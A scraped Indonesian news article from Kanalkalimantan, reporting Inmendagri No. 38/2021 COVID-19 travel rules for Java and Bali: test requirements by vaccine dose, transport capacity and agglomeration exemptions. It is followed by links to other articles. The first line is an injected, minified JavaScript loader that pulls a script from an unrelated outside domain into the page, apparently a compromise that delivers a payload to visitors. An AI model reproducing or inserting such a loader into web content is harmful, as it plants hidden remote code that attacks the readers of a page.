(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Pemerintah melalui Kementerian Dalam Negeri memberikan kelonggaran bagi pengguna layanan transportasi umum salah satunya pesawat.
Kelonggaran tersebut tertuang dalam Instruksi Menteri Dalam Negeri (Inmendagri) No. 38 Tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Level 4, Level 3, dan Level 2 Corona Virus Disease di Wilayah Jawa dan Bali.
Dilansir CNNIndonesia, calon penumpang yang sudah menerima vaksin dua dosis, dapat bepergian antar kota/kabupaten di Jawa dan Bali menggunakan tes antigen maksimal satu hari sebelum keberangkatan. Namun, calon penumpang yang baru menerima satu dosis vaksin, diwajibkan memperoleh hasil negatif Tes PCR maksimal dua hari sebelum keberangkatan.
“Untuk perjalanan dengan pesawat udara antar kota atau kabupaten di dalam Jawa Bali dapat menunjukkan hasil negatif Antigen (H-1) dengan syarat sudah memperoleh vaksinasi dosis kedua, dan hasil negatif PCR H-2 jika baru memperoleh vaksin dosis 1,” tulis dalam aturan tersebut, Selasa (31/8/2021).
Keduanya berlaku untuk setiap daerah dengan Level 4 dan Level 3 PPKM di wilayah Jawa dan Bali.
Baca juga: UPDATE. Kasus Covid-19 di Banjarbaru Hari Ini Tambah 24 Orang, 62 Pasien Sembuh
Untuk pengguna transportasi lainnya seperti mobil pribadi, sepeda motor, bus, kereta api, dan kapal laut diwajibkan untuk mendapat vaksin minimal satu dosis dan menyertakan hasil negatif Tes Antigen maksimal sehari sebelum keberangkatan.
Aturan ini berlaku bagi setiap perjalanan yang datang dari luar Jawa dan Bali maupun keberangkatan dari Jawa dan Bali. Selain itu, transportasi konvensional dan daring serta kendaraan sewaan dapat diisi dengan kapasitas maksimal 100 persen dengan menerapkan protokol kesehatan yang ketat.
Kendati demikian, transportasi di wilayah aglomerasi seperti Jabodetabek aturan ini tidak diberlakukan.
Aglomerasi sendiri adalah lingkup kabupaten/kota yang berdekatan atau saling menyangga yang mendapatkan izin melakukan pergerakan. Selain Jabodetabek diantaranya terdapat Semarang Raya, Solo Raya, Bandung Raya, Yogyakarta Raya, hingga Gerbangkertosusila.(cnnindonesia)
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.